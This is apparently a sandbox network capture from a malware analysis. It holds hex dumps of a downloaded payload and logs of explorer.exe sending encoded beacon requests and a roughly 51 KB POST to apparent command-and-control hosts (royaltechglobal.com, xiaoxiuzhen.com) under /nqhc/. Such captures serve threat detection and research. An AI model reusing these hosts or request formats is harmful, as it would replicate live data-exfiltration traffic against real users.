2c 5e 01 50 72 4a b9 81 28 4d b8 0c 29 b7 02 bd f3 c5 1f 69 f4 ce 7f 1a ce 8b 79 55 cc 0c 64 16 e7 05 87 0c 27 5f e9 64 e3 3f e2 fb b6 3d 9e f2 45 41 2e 35 b3 42 38 bd a0 6a e2 f4 16 c0 bf 42 f8 33 4d 60 5b 5c cc b3 9b c2 c4 1f 64 66 ab 0a c5 b7 a8 ba c5 32 14 b7 24 b4 ad 3e f3 09 6e 1b 1f af c3 5d ac 65 35 5a 9f ac 46 85 be d0 e4 27 69 c8 77 b2 10 f1 b6 c2 d4 00 28 4f ae 60 cc 64 a1 b7 93 68 49 9c df 97 e5 79 ad 12 2a d8 9f a5 ef b7 b6 8a 5c 2d aa 67 79 63 73 c9 5b 4c 26 df 97 d9 5b 2f bb e1 70 99 c8 65 59 7f cc 50 d4 d7 e1 7b 88 cc b6 28 93 dc 8d a4 30 20 cc 3b bf c8 b9 a4 b1 7e e7 b7 9a ad d6 3b 3f 08 de f9 91 92 79 0e b1 fb 12 3b bd a2 57 ca 0d bc 5c 24 1f 35 b2 85 c0 c2 09 8b 4d 8a a6 e8 34 1b 4e 0a 2c 49 8d d3 eb b4 71 33 cc 92 2f a7 f9 38 e8 db e5 05 7d 94 c1 9e 4e 20 cc ab aa 0f 71 15 52 17 2f a9 48 8a 92 bf 03 c2 fd e5 c2 06 f5 cf 54 99 d7 a3 ed 47 c2 f6 9a 19 b0 36 0d 15 d0 38 52 45 16 6e 5d 5e cf b0 a8 b4 de bd a7 ca 85 6d b0 ed fa 66 84 b6 77 e4 06 53 af 15 29 2f 2c cd 14 d4 c7 2d 1e c7 fb fd 76 77 67 a7 ef eb 48 b1 dc 0c ed f9 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b e2 ba c3 dd dd dd ea e9 6d ca 34 b1 63 11 fc 95 b9 61 19 fb 13 62 32 61 26 25 26 05 f2 0f 49 b5 29 ab 72 5e 24 08 32 0e 4e bd a0 49 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$_;Uwo"gzW^O}}? pwoIF9S/N`LzX`r}^O;h<!d$J`/osO'A38c\HS',6 1-/uNg&kkZP&5H/qM_d(^#$1\;ETKw?5`tXnD&ZTk\|+:J!v?~9w~I8?Ef>Wz,\|9,^PrJ(M)iyUd'_d?=EA.5B8jB3M`[\df2$>n]e5ZF'iw(O`dhIy\-gycs[L&[/peYP{(0 ;~;?y;W\$5M4N,Iq3/8}N qR/HTG68REn]^mfwS)/,-vwgHg&kkm4cab2a&%&I)r^$2NI\R1lTq@kvCkC"!#YQiL,P+2#H
Nov 21, 2022 19:20:46.652133942 CET	697	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f be d7 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|'q)suBFD<uomZe~{:<MC5^dUQ,@f~h8LNx!,0ho!95oFTvb"t(@M]&.CS~s{a%IF.zy%W+6lcmre~=DV
Nov 21, 2022 19:20:46.652164936 CET	698	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba df 44 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$EDHk~oLo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Nov 21, 2022 19:20:46.652196884 CET	699	IN	Data Raw: 2c 70 7b 0c 52 1e 97 90 b6 2c ab 78 e3 20 e8 bb 69 af f6 40 59 f6 c8 2a 32 66 dc b0 40 96 62 59 cc 96 55 73 86 f6 28 8c 82 3f 0a a6 20 76 ad d3 d6 92 98 db e9 2c a7 71 cc 44 b2 f0 78 29 72 d3 6b 6f 5e 97 14 17 96 ab d6 0c 89 a6 c0 92 d4 94 10 1f Data Ascii: ,p{R,x i@Y2f@bYUs(? v,qDx)rko^iSD3(2,5=E4gr&P.a#Qc)Dq@b})99CD@{jTujCb6S=-9gHrzH`AuvuB6BDB=t6vtM/8()
Nov 21, 2022 19:20:46.652225971 CET	701	IN	Data Raw: d7 3e d9 90 72 82 29 5d af 79 64 53 6e 7b 93 14 14 ec 7b 4c a3 10 53 59 18 77 c4 e1 fa e0 26 a1 b9 1d a8 6b 73 42 19 4f c9 4a 86 9c 90 21 f1 28 67 89 e0 30 32 37 18 a1 68 61 7b 3e cb 50 4f 26 5c 26 38 c3 b5 6b 43 15 be 34 ef 84 41 c4 38 ca a3 e0 Data Ascii: >r)]ydSn{{LSYw&ksBOJ!(g027ha{>PO&\&8kC4A8%Hk4@P7ue#0<aY.bl~~$6"IWj]/.Xmf!];aI{dLNrrpr28ppl`+Z6p}3GN{~\f =R
Nov 21, 2022 19:20:46.652257919 CET	702	IN	Data Raw: ca ca 1f 3e a2 87 17 9c 86 87 af 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 df d2 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d Data Ascii: >Euu1^(ejKVm:oVuivuYb:nu9*/GWrR]Ni=b\sKT[AP~NjD~i`Z3m0Xi?;T{F24~_PY<H@i{BSR.e/"rS^s)b0+Ja{?13_9HS->B%ic
Nov 21, 2022 19:20:46.652288914 CET	703	IN	Data Raw: 5a ef 91 0c 62 46 07 7b 94 f3 3d e2 0f 77 fb 9c 89 2b 82 3b 19 ec 69 74 3a e8 14 c0 ec 11 16 0f f6 c6 13 37 a6 ea ca 0d b9 8c ae dc f2 d5 2d 21 52 05 a3 c1 5e 6a 4c de f3 7d 25 a7 94 1b 88 d2 84 cb 90 72 2f 92 99 3f c9 dd 48 0a 03 c2 f8 26 85 0c Data Ascii: ZbF{=w+;it:7-!R^jL}%r/?H&_cTk02KX/@7=R%`"W;,w\|CRm3/Y(J,z8Bp7&&?DG@*bwrTs9pvK)rk Jmd2x4
Nov 21, 2022 19:20:46.652329922 CET	705	IN	Data Raw: e3 a3 ee e7 f7 b7 77 8c b8 9d e3 66 b7 ec d3 c6 8e ad 15 0e 4b 38 cf 36 e0 04 75 47 7f 8d 3a 73 c9 d0 34 40 98 68 0d 9c 0b 59 a8 08 be 57 34 4f 59 e4 10 99 83 a2 46 aa 81 c3 44 0d 53 8a 87 87 ca 32 d6 d6 c3 3e 7e 91 eb 8c 0b ec 97 1a 93 f7 7c 7f Data Ascii: wfK86uG:s4@hYW4OYFDS2>~\|2x'UM3<VC&,6iiX8QgD^Lqfs#rpPK^8#FGSgDA"jj23!*UbFlNmmi+;`
Nov 21, 2022 19:20:46.652362108 CET	706	IN	Data Raw: f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 0c 7f 90 19 f4 7d 8a 3b e0 6c b8 bb 86 d6 d1 e3 b4 72 a9 cd a5 3d dd 67 96 d3 64 39 8a 68 5b f1 f2 69 28 0b e3 16 da 77 86 cf ec 91 fc a2 37 b2 3c fe ac 2c 8f b7 64 19 49 61 68 54 f3 3c af 2e 8f 31 Data Ascii: \|_)42d};lr=gd9h[i(w7<,dIahT<.1=LOd1h</H^\|#2WlL)VpMJ"?WsX/8c63OTG7,oGA22:!AH!O.c.mtbD5Q4}636r\E"c6{h
Nov 21, 2022 19:20:46.652419090 CET	707	IN	Data Raw: 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 5e d1 cf 40 aa 53 8a 95 2b c6 3f 1d ab 5d b1 42 87 df c5 42 d7 f6 7d 5d fa 19 2f 7d 1d 29 96 1b 62 a6 39 1a dd c0 b5 f1 df d3 31 ad a2 ce 70 d7 ff 1b e9 3f f9 ed fc db 67 6f 9f fd 46 fe e6 ef Data Ascii: ;`YCUP>k^@S+?]BB}]/})b91p?goFYr3J2 0/8>q,6CvwfxDyJEyATs@'#^`lMC;Jl`B~}hCK1K0
Nov 21, 2022 19:20:46.766238928 CET	708	IN	Data Raw: 2e 9f e5 67 a1 db 74 86 b8 83 52 f0 99 de 93 c9 c4 1b 4f d0 14 19 e8 52 ec ea e8 8f 14 80 1b 53 75 e5 4e a4 8a 73 05 5a bb e5 93 4f 0c 55 09 98 c1 de 65 c8 a9 b8 da 1b 7e 8b 59 e4 57 cc fa d9 66 91 b7 36 ab 54 ff f9 94 fc fd d7 f2 8a db c8 ef 73 Data Ascii: .gtRORSuNsZOUe~YWf6Tstq(6&#r)*%'.-s\|\@hk;c\| {X,;._~eGdrC4%cZE"LT.v1Q7>SE\P2 7f~Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.11.20	49837	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:48.332937956 CET	709	OUT	GET /nqhc/?r4txB=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&1b=S8jD HTTP/1.1 Host: www.royaltechglobal.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:20:48.560080051 CET	709	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 21 Nov 2022 18:20:48 GMT Server: nginx/1.21.6 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://royaltechglobal.com/nqhc/?r4txB=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&1b=S8jD X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress X-Server-Cache: true X-Proxy-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.11.20	49838	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:04.083949089 CET	710	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 66 61 4d 5f 6d 5a 4f 34 66 74 76 48 31 61 4f 4e 47 2d 55 4e 30 75 54 36 48 42 64 55 46 73 56 41 5a 72 46 4b 71 72 49 34 49 46 38 58 6b 56 71 49 44 53 6f 37 48 59 66 6d 76 6c 53 46 63 62 37 6c 66 7a 36 4c 4c 6a 4c 4e 7e 50 69 45 77 6f 67 37 30 34 5a 51 47 53 75 6c 4a 4f 5a 5f 47 33 41 6e 39 7a 78 65 63 33 34 76 69 56 75 78 43 30 5a 65 35 71 37 57 52 72 44 33 31 4d 6b 59 73 56 30 46 6e 77 75 55 63 75 54 48 35 37 42 54 73 5a 4a 36 6a 6e 6e 59 6a 61 34 5a 65 32 42 37 6b 64 47 49 7e 49 71 63 59 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=AkaMX_QkdLfVfaM_mZO4ftvH1aONG-UN0uT6HBdUFsVAZrFKqrI4IF8XkVqIDSo7HYfmvlSFcb7lfz6LLjLN~PiEwog704ZQGSulJOZ_G3An9zxec34viVuxC0Ze5q7WRrD31MkYsV0FnwuUcuTH57BTsZJ6jnnYja4Ze2B7kdGI~IqcYQ).
Nov 21, 2022 19:21:04.285512924 CET	711	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:21:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.11.20	49839	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:06.270848036 CET	712	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 65 36 38 5f 71 59 4f 34 4f 4e 76 45 7e 36 4f 4e 55 2d 55 4a 30 70 62 36 48 46 45 66 47 65 78 41 5a 4b 31 4b 70 76 6b 34 50 46 38 58 73 31 71 4e 63 43 6f 30 48 59 53 62 76 67 71 46 63 59 48 6c 65 41 79 4c 63 6a 4c 4b 78 76 69 44 33 6f 67 6d 28 59 5a 4f 47 53 54 45 4a 50 4e 5f 47 48 73 6e 38 78 70 65 57 47 34 73 7a 6c 75 33 56 6b 5a 66 75 36 37 69 52 72 65 4b 31 4f 30 6d 73 6a 55 46 6d 51 4f 55 64 75 54 59 78 4c 42 59 6a 35 49 5f 6b 6d 54 49 71 72 41 70 41 31 52 45 38 75 48 4a 37 4c 76 67 47 39 30 75 4d 47 64 53 30 6b 48 4a 46 76 4d 58 48 78 37 55 7e 64 6e 76 7e 61 59 71 63 35 6e 4c 28 56 5a 6c 35 4e 34 6a 74 6c 65 62 51 50 63 39 6d 61 77 35 6b 66 53 6e 72 6c 34 57 38 42 33 61 54 66 6d 72 49 72 6d 6c 42 68 65 45 7a 38 44 38 70 45 41 74 51 32 63 64 72 34 44 4b 42 46 30 58 4a 7a 41 6e 44 33 70 39 59 55 39 61 46 66 53 73 4f 48 6f 58 6f 52 42 36 35 34 65 7a 79 49 65 4a 62 6d 64 48 52 2d 4a 66 32 44 4d 66 63 52 69 6f 37 7a 6b 77 51 71 28 68 4a 6b 79 45 63 47 6d 6c 74 70 6d 6b 64 73 59 57 57 53 63 79 4a 33 5a 72 71 6f 69 67 28 70 36 75 42 39 34 5a 37 4a 64 7a 75 70 56 57 35 79 4f 43 6a 70 49 62 34 64 67 46 41 31 44 43 55 77 46 69 35 30 46 52 72 4e 4a 54 4b 75 32 38 43 37 72 74 70 6e 48 57 49 35 4a 35 6b 6e 73 61 66 5f 58 4e 6e 30 59 34 6d 43 65 74 58 71 65 42 4c 4e 30 33 31 34 46 68 5a 6a 64 39 61 64 7e 64 4e 4a 39 76 6f 77 49 4c 6d 5a 76 7a 68 52 6f 61 34 6d 58 51 46 41 77 68 4e 41 68 31 69 68 7a 52 44 4e 57 5a 4e 53 77 58 69 6b 63 62 6f 74 6f 32 41 34 66 65 72 4c 57 74 56 66 6a 53 31 74 4a 30 68 48 63 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=AkaMX_QkdLfVe68_qYO4ONvE~6ONU-UJ0pb6HFEfGexAZK1Kpvk4PF8Xs1qNcCo0HYSbvgqFcYHleAyLcjLKxviD3ogm(YZOGSTEJPN_GHsn8xpeWG4szlu3VkZfu67iRreK1O0msjUFmQOUduTYxLBYj5I_kmTIqrApA1RE8uHJ7LvgG90uMGdS0kHJFvMXHx7U~dnv~aYqc5nL(VZl5N4jtlebQPc9maw5kfSnrl4W8B3aTfmrIrmlBheEz8D8pEAtQ2cdr4DKBF0XJzAnD3p9YU9aFfSsOHoXoRB654ezyIeJbmdHR-Jf2DMfcRio7zkwQq(hJkyEcGmltpmkdsYWWScyJ3Zrqoig(p6uB94Z7JdzupVW5yOCjpIb4dgFA1DCUwFi50FRrNJTKu28C7rtpnHWI5J5knsaf_XNn0Y4mCetXqeBLN0314FhZjd9ad~dNJ9vowILmZvzhRoa4mXQFAwhNAh1ihzRDNWZNSwXikcboto2A4ferLWtVfjS1tJ0hHc.
Nov 21, 2022 19:21:06.471455097 CET	712	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:21:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.11.20	49840	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:08.456604958 CET	715	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 65 36 38 5f 71 59 4f 34 4f 4e 76 45 7e 36 4f 4e 55 2d 55 4a 30 70 62 36 48 46 45 66 47 65 35 41 59 38 70 4b 71 49 77 34 4f 46 38 58 69 56 71 4d 63 43 6f 70 48 5a 36 66 76 67 33 77 63 64 44 6c 65 52 69 4c 63 52 7a 4b 68 5f 69 47 34 49 67 34 30 34 59 4e 47 53 76 51 4a 50 5a 76 47 30 77 6e 39 32 56 65 63 52 73 76 37 56 75 78 56 6b 5a 62 39 71 37 71 52 72 4b 61 31 4f 34 6d 73 6c 63 46 6e 69 47 55 66 39 37 59 38 37 42 58 34 70 49 4f 75 47 53 68 71 72 55 62 41 31 52 79 38 73 72 4a 37 4d 37 67 48 36 67 70 4d 6d 64 53 33 6b 47 66 42 76 49 62 48 78 58 63 7e 63 6a 76 7e 64 63 71 61 5a 6e 4c 76 68 74 36 37 74 35 71 67 46 66 5a 64 76 51 6c 6d 65 67 4c 6b 61 43 6e 72 56 73 57 38 79 66 61 66 65 6d 72 55 62 6d 6e 65 52 65 58 34 63 44 34 70 45 51 50 51 32 38 6e 72 5f 37 4b 43 6b 34 58 62 43 41 6d 55 6e 70 42 58 30 38 65 53 76 58 34 4f 45 51 4c 6f 52 42 71 35 36 79 7a 31 34 75 4a 4a 69 4a 47 63 4f 49 32 71 44 4e 59 57 78 75 6d 37 33 4d 34 51 71 33 50 4a 6e 7e 45 66 6d 6d 6c 6f 4b 7e 6e 58 63 59 4d 61 79 64 72 48 58 5a 43 71 6f 7e 38 28 74 72 62 42 4e 55 5a 36 39 35 7a 69 5a 56 4a 70 53 4f 47 73 4a 49 64 38 64 67 46 41 31 66 57 55 77 35 69 35 6c 39 52 70 36 74 54 50 35 69 38 41 37 72 72 70 6e 48 39 49 35 55 46 6b 6b 4d 6b 66 37 71 6f 6e 78 67 34 6c 57 61 74 44 4c 65 43 62 4e 30 34 78 34 46 32 58 44 51 37 61 64 69 46 4e 4e 68 5f 6f 43 4d 4c 6c 5a 66 7a 6c 52 6f 56 74 32 58 58 53 77 78 34 48 67 38 71 69 67 65 70 44 4f 4c 63 4e 56 30 58 67 54 64 45 74 74 6b 5f 53 62 28 46 76 73 43 38 54 63 58 36 6d 64 52 49 30 79 77 70 4a 51 65 4f 32 37 6f 36 48 62 59 77 5a 66 44 36 75 47 64 4b 43 43 6a 7a 6c 48 78 48 6b 4e 39 46 58 4a 70 63 66 58 59 63 68 45 53 56 70 31 47 64 68 65 48 48 6a 79 4b 48 79 79 33 48 75 6b 32 6a 6d 74 63 48 56 4e 74 7a 4a 44 58 56 50 7a 43 64 55 30 58 53 63 43 44 4c 61 34 58 34 36 4e 39 5f 6b 6d 62 63 75 6a 44 63 53 43 62 66 71 52 42 62 47 42 35 50 47 38 74 43 53 6c 4e 5a 4c 4b 31 50 70 46 7a 55 7a 53 4c 47 58 46 52 31 4c 61 48 6c 6f 59 79 39 47 7a 67 54 43 57 78 30 44 4a 76 51 50 6c 33 48 48 33 7e 5f 6b 59 35 49 73 7a 75 58 30 79 71 68 45 33 55 54 56 47 44 4a 28 58 55 7a 62 38 63 51 36 79 43 54 74 30 58 78 36 43 5a 72 68 59 37 73 42 41 68 74 79 34 30 36 50 45 61 6c 30 6e 71 62 4c 71 6f 50 6d 6f 45 50 78 7a 4d 64 65 77 36 75 70 51 77 46 39 75 32 31 35 51 4c 76 62 36 28 32 5a 6b 73 47 50 69 75 43 58 37 38 4e 38 45 69 71 6c 55 66 76 7a 4e 69 35 45 67 79 39 37 62 47 47 61 64 69 69 49 4d 48 66 6e 6f 6c 64 42 67 7a 5a 73 70 6b 75 35 42 4a 6b 47 69 31 51 4f 78 6f 4f 28 4c 55 72 43 76 6f 66 61 49 35 49 69 64 38 72 69 4e 55 69 53 52 78 35 48 30 79 36 6b 6e 39 52 71 48 6f 57 49 73 4d 36 67 71 62 6f 78 30 6c 67 55 70 6f 4e 45 6a 6f 73 42 77 62 57 61 74 35 4a 46 59 76 65 69 6f 7e 2d 7a 30 50 4b 76 66 64 54 74 73 37 79 55 5a 77 74 70 70 30 41 62 57 79 72 50 56 65 30 54 55 4c 54 48 51 4c 4f 35 2d 6e 4f 44 65 42 54 34 42 4b 31 45 42 6a 75 7a 31 51 36 49 7a 65 6f 74 36 6c 71 77 52 43 62 69 33 66 65 33 2d 6d 6d 39 6b 6b 36 6d 61 79 43 4c 67 64 57 41 5f 6f 49 55 42 6d 6b 39 56 6c 6c 35 64 69 73 7e 58 38 46 67 64 41 54 7a 35 78 78 6d 37 7e 6e 54 50 30 53 5a 44 47 69 39 63 67 6e 31 74 4f 56 49 41 42 45 37 55 37 57 58 75 37 2d 79 48 57 75 63 6f 57 57 7e 6d 4f 62 42 39 36 6d 45 42 65 45 48 44 6c 43 49 33 47 6c 34 30 6f 31 74 6a 54 46 57 72 76 30 4d 5f 75 6b 36 6b 65 49 32 74 62 64 33 53 4f 57 73 68 39 69 31 65 7a 34 56 73 72 4c 34 5f 76 69 63 42 71 6e 51 59 41 31 6c 57 7e 31 79 52 35 45 66 59 69 56 28 51 71 4a 6f 6e 38 75 61 64 43 4e 6e 50 61 39 35 62 28 57 78 4c 6c 6d 33 47 77 43 4d 4b 31 57 72 67 4b 75 65 47 68 6a 67 62 67 56 46 4d 4f 70 47 55 73 55 6e 46 4f 4f 63 4e 6d 41 6a 57 67 2d 53 30 50 4d 44 6f 45 37 69 55 43 78 71 41 51 78 4f 44 43 6f 61 62 65 34 69 64 30 72 76 30 53 50 61 77 37 7a 64 7a 34 74 49 65 67 48 33 79 6d 37 62 73 57 6f 64 4d 79 69 6c 68 43 52 6e 52 74 30 56 49 34 58 71 63 63 30 6d 43 43 43 62 75 62 66 66 38 67 59 54 30 59 71 75 4c 70 65 31 59 7a 4c 6b 31 51 2d 36 44 70 6d 70 56 49 44 4f 64 68 59 70 43 5a 45 47 35 48 4f 79 46 48 6b 75 78 37 50 49 35 44 66 41 45 31 6c 7e Data Ascii: r4txB=AkaMX_QkdLfVe68_qYO4ONvE~6ONU-UJ0pb6HFEfGe5AY8pKqIw4OF8XiVqMcCopHZ6fvg3wcdDleRiLcRzKh_iG4Ig404YNGSvQJPZvG0wn92VecRsv7VuxVkZb9q7qRrKa1O4mslcFniGUf97Y87BX4pIOuGShqrUbA1Ry8srJ7M7gH6gpMmdS3kGfBvIbHxXc~cjv~dcqaZnLvht67t5qgFfZdvQlmegLkaCnrVsW8yfafemrUbmneReX4cD4pEQPQ28nr_7KCk4XbCAmUnpBX08eSvX4OEQLoRBq56yz14uJJiJGcOI2qDNYWxum73M4Qq3PJn~EfmmloK~nXcYMaydrHXZCqo~8(trbBNUZ695ziZVJpSOGsJId8dgFA1fWUw5i5l9Rp6tTP5i8A7rrpnH9I5UFkkMkf7qonxg4lWatDLeCbN04x4F2XDQ7adiFNNh_oCMLlZfzlRoVt2XXSwx4Hg8qigepDOLcNV0XgTdEttk_Sb(FvsC8TcX6mdRI0ywpJQeO27o6HbYwZfD6uGdKCCjzlHxHkN9FXJpcfXYchESVp1GdheHHjyKHyy3Huk2jmtcHVNtzJDXVPzCdU0XScCDLa4X46N9_kmbcujDcSCbfqRBbGB5PG8tCSlNZLK1PpFzUzSLGXFR1LaHloYy9GzgTCWx0DJvQPl3HH3~_kY5IszuX0yqhE3UTVGDJ(XUzb8cQ6yCTt0Xx6CZrhY7sBAhty406PEal0nqbLqoPmoEPxzMdew6upQwF9u215QLvb6(2ZksGPiuCX78N8EiqlUfvzNi5Egy97bGGadiiIMHfnoldBgzZspku5BJkGi1QOxoO(LUrCvofaI5Iid8riNUiSRx5H0y6kn9RqHoWIsM6gqbox0lgUpoNEjosBwbWat5JFYveio~-z0PKvfdTts7yUZwtpp0AbWyrPVe0TULTHQLO5-nODeBT4BK1EBjuz1Q6Izeot6lqwRCbi3fe3-mm9kk6mayCLgdWA_oIUBmk9Vll5dis~X8FgdATz5xxm7~nTP0SZDGi9cgn1tOVIABE7U7WXu7-yHWucoWW~mObB96mEBeEHDlCI3Gl40o1tjTFWrv0M_uk6keI2tbd3SOWsh9i1ez4VsrL4_vicBqnQYA1lW~1yR5EfYiV(QqJon8uadCNnPa95b(WxLlm3GwCMK1WrgKueGhjgbgVFMOpGUsUnFOOcNmAjWg-S0PMDoE7iUCxqAQxODCoabe4id0rv0SPaw7zdz4tIegH3ym7bsWodMyilhCRnRt0VI4Xqcc0mCCCbubff8gYT0YquLpe1YzLk1Q-6DpmpVIDOdhYpCZEG5HOyFHkux7PI5DfAE1l~81Bu2AxsMYWtPUWiwzjRzyziREHFfQ0Hqf9M-zhYg2-29JKQ-1VKNq_6f3K3cJKdQpTaCp5BtEg8-tA0N1HMR21K85bfYijlfFcppg-hONfCJ3CyLXKdVkJ3oe7QNQDXq6_dtar4XJB3eBwfceAuZSLQDr5LWBGpWLJsYBNIvpb6QxlsgKSZIhYe3uJYYsH73SxgcQEZXcz91MgbyWlen75Ss8_57KuKXqFDwfq2nAt7oSYUbb3CrrUwaP9z_Gh9WHe3ukzpRXr0cXVhwKBlhdSDVI8bOJhg0RIzpthgdGkSg6v~ccqGcuzj11uBa1rw2uIGWusAIaJ6dVTWwY2z_0vvT(SxxE2xogwFEFyxVzPghHGopetkplG(cspg70chkYLY0z9DHDFP8O5oebmtSUltMmp5LlVY5zvxI(_mzFJM-JmV8pIKZP2lOldZX8YytCcnUEr5Mi-kSLcnG7FtSzgOMRvUnxTztM4R0E2jz7WeMwgpELOiNmCNGjOJ5dDgVj0EhCoko2UBpp5GEYkKa9buWMTRpTb7hJuNb61S2Tp9iG8r8k2fZ2G6ywi0oT3B9rTK2c0qGiv70o8nPdNL3W1e_gFFtkF4SUt9iEiuVz6ksIxrVT9mywjDgjxX2~EpTTDKSDQjwqW67mEqGfoD6NwlO1xfpgp2jBaoypNTNedjtdPpW2tnFAGUw6kBMS2E4o8EAMUVT~1zvrhWW4-aqpqaKjuK1ZugpJ1dxKrYyOEytcscRVZZrqVIGeJH9B1lzv5zfhkJUVLsNgyaQMeIfNUQgJ5rohKUrE7g-e
Nov 21, 2022 19:21:08.456729889 CET	725	OUT	Data Raw: 79 47 74 56 71 4c 62 7a 33 32 6b 6c 39 46 41 58 32 74 4f 63 53 66 69 44 34 4f 4a 59 71 33 2d 71 4e 39 6d 65 49 4f 70 78 2d 52 54 70 36 64 42 46 34 36 33 28 6c 65 36 31 78 4d 2d 45 4c 44 67 52 44 58 63 53 61 7a 67 55 46 65 47 69 5f 45 73 57 34 79 Data Ascii: yGtVqLbz32kl9FAX2tOcSfiD4OJYq3-qN9meIOpx-RTp6dBF463(le61xM-ELDgRDXcSazgUFeGi_EsW4ydQMt6qooIFqhwf-c3UROILsyvi3W2lwePEGyIx-MB~sMiPW2cRFKrJTUioQSqsDyKqutrtIWrOUrnMcARkPY-mqPpH67c8bheXIwcmog6A78L(SZJ42N5R2xpJ3jh1PkWCRwPsd3I3wP9406TDx1VLB3xLzjrIE~n
